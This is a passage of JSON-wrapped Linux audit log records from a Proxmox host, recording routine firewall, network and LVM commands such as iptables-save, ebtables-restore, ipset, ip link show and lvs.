type=PATH msg=audit(1781965605.254:66330): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055418,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.418:59385): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965605254,"@rawstring":"node=pve type=PATH msg=audit(1781965605.254:66330): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055412,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.412:59384): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965605246,"@rawstring":"node=pve type=PATH msg=audit(1781965605.246:66329): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964054473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964054.473:59383): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965605246,"@rawstring":"node=pve type=PATH msg=audit(1781965605.246:66329): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964054437,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964054.437:59382): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965605240,"@rawstring":"node=pve type=PATH msg=audit(1781965605.240:66327): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964052766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964052.766:59381): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605240,"@rawstring":"node=pve type=PATH msg=audit(1781965605.240:66327): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964052766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964052.766:59380): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605232,"@rawstring":"node=pve type=PATH msg=audit(1781965605.232:66326): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964052766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964052.766:59379): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605232,"@rawstring":"node=pve type=PATH msg=audit(1781965605.232:66326): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964052755,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964052.755:59378): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605222,"@rawstring":"node=pve type=PATH msg=audit(1781965605.222:66325): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964052755,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964052.755:59377): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605222,"@rawstring":"node=pve type=PATH msg=audit(1781965605.222:66325): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964052755,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964052.755:59376): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605215,"@rawstring":"node=pve type=PATH msg=audit(1781965605.215:66324): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964047740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964047.740:59375): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605215,"@rawstring":"node=pve type=PATH msg=audit(1781965605.215:66324): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964047740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964047.740:59374): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605206,"@rawstring":"node=pve type=PATH msg=audit(1781965605.206:66323): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964047740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964047.740:59373): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605206,"@rawstring":"node=pve type=PATH msg=audit(1781965605.206:66323): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964047727,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964047.727:59372): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605199,"@rawstring":"node=pve type=PATH msg=audit(1781965605.199:66322): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964047727,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964047.727:59371): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605199,"@rawstring":"node=pve type=PATH msg=audit(1781965605.199:66322): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964047727,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964047.727:59370): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605189,"@rawstring":"node=pve type=PATH msg=audit(1781965605.189:66321): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965157010,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965157.010:64422): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605189,"@rawstring":"node=pve type=PATH msg=audit(1781965605.189:66321): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965157010,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965157.010:64421): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605182,"@rawstring":"node=pve type=PATH msg=audit(1781965605.182:66320): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965157010,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965157.010:64420): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605182,"@rawstring":"node=pve type=PATH msg=audit(1781965605.182:66320): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965157001,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965157.001:64419): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605178,"@rawstring":"node=pve type=PATH msg=audit(1781965605.178:66319): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965157001,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965157.001:64418): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605178,"@rawstring":"node=pve type=PATH msg=audit(1781965605.178:66319): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965157001,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965157.001:64417): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965605171,"@rawstring":"node=pve type=PATH msg=audit(1781965605.171:66318): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155233,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.233:64416): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965605171,"@rawstring":"node=pve type=PATH msg=audit(1781965605.171:66318): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155230,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.230:64415): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965605169,"@rawstring":"node=pve type=PATH msg=audit(1781965605.169:66317): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.228:64414): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965605169,"@rawstring":"node=pve type=PATH msg=audit(1781965605.169:66317): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.228:64413): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965605169,"@rawstring":"node=pve type=PATH msg=audit(1781965605.169:66316): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155224,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.224:64412): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965605164,"@rawstring":"node=pve type=PATH msg=audit(1781965605.164:66315): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.217:64411): proctitle=\"ip6tables-save\""} {"@timestamp":1781965605164,"@rawstring":"node=pve type=PATH msg=audit(1781965605.164:66315): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155208,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.208:64410): proctitle=\"iptables-save\""} {"@timestamp":1781965605164,"@rawstring":"node=pve type=PATH msg=audit(1781965605.164:66315): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155200,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.200:64409): proctitle=\"ip6tables-save\""} {"@timestamp":1781965605153,"@rawstring":"node=pve type=PATH msg=audit(1781965605.153:66314): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155192,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.192:64408): proctitle=\"iptables-save\""} {"@timestamp":1781965605153,"@rawstring":"node=pve type=PATH msg=audit(1781965605.153:66314): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155190,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.190:64407): proctitle=\"ebtables-restore\""} {"@timestamp":1781965605144,"@rawstring":"node=pve type=PATH msg=audit(1781965605.144:66313): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155186,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.186:64406): proctitle=\"ebtables-restore\""} {"@timestamp":1781965605144,"@rawstring":"node=pve type=PATH msg=audit(1781965605.144:66313): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155181,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.181:64405): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965605137,"@rawstring":"node=pve type=PATH msg=audit(1781965605.137:66312): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155175,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.175:64404): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965605137,"@rawstring":"node=pve type=PATH msg=audit(1781965605.137:66312): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.170:64403): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965605126,"@rawstring":"node=pve type=PATH msg=audit(1781965605.126:66311): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155162,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.162:64402): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965605126,"@rawstring":"node=pve type=PATH msg=audit(1781965605.126:66311): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.156:64401): proctitle=697073657400726573746F7265"} {"@timestamp":1781965605111,"@rawstring":"node=pve type=PATH msg=audit(1781965605.111:66310): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155148,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.148:64400): proctitle=\"ip6tables-save\""} {"@timestamp":1781965605111,"@rawstring":"node=pve type=PATH msg=audit(1781965605.111:66310): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.141:64399): proctitle=\"iptables-save\""} {"@timestamp":1781965604542,"@rawstring":"node=pve type=PATH msg=audit(1781965604.542:66309): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.135:64398): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965604542,"@rawstring":"node=pve type=PATH msg=audit(1781965604.542:66309): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155132,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.132:64397): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965604515,"@rawstring":"node=pve type=PATH msg=audit(1781965604.515:66308): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155131,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.131:64396): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965604515,"@rawstring":"node=pve type=PATH msg=audit(1781965604.515:66308): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155131,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.131:64395): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965603656,"@rawstring":"node=pve type=PATH msg=audit(1781965603.656:66307): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155127,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.127:64394): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965603656,"@rawstring":"node=pve type=PATH msg=audit(1781965603.656:66307): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.120:64393): proctitle=\"ip6tables-save\""} {"@timestamp":1781965603656,"@rawstring":"node=pve type=PATH msg=audit(1781965603.656:66306): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155113,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.113:64392): proctitle=\"iptables-save\""} {"@timestamp":1781965603656,"@rawstring":"node=pve type=PATH msg=audit(1781965603.656:66305): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.106:64391): proctitle=69707365740073617665"} {"@timestamp":1781965603629,"@rawstring":"node=pve type=PATH msg=audit(1781965603.629:66304): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155098,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.098:64390): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965603629,"@rawstring":"node=pve type=PATH msg=audit(1781965603.629:66304): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965155090,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965155.090:64389): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965603629,"@rawstring":"node=pve type=PATH msg=audit(1781965603.629:66303): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965154081,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965154.081:64388): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965603629,"@rawstring":"node=pve type=PATH msg=audit(1781965603.629:66302): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965154056,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965154.056:64387): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965600622,"@rawstring":"node=pve type=PATH msg=audit(1781965600.622:66301): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965151989,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965151.989:64386): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965600622,"@rawstring":"node=pve type=PATH msg=audit(1781965600.622:66301): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965151989,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965151.989:64385): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965600620,"@rawstring":"node=pve type=PATH msg=audit(1781965600.620:66300): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965151989,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965151.989:64384): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965600620,"@rawstring":"node=pve type=PATH msg=audit(1781965600.620:66300): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965151979,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965151.979:64383): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965600618,"@rawstring":"node=pve type=PATH msg=audit(1781965600.618:66299): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965151979,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965151.979:64382): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965600618,"@rawstring":"node=pve type=PATH msg=audit(1781965600.618:66299): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965151979,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965151.979:64381): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965598619,"@rawstring":"node=pve type=PATH msg=audit(1781965598.619:66298): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 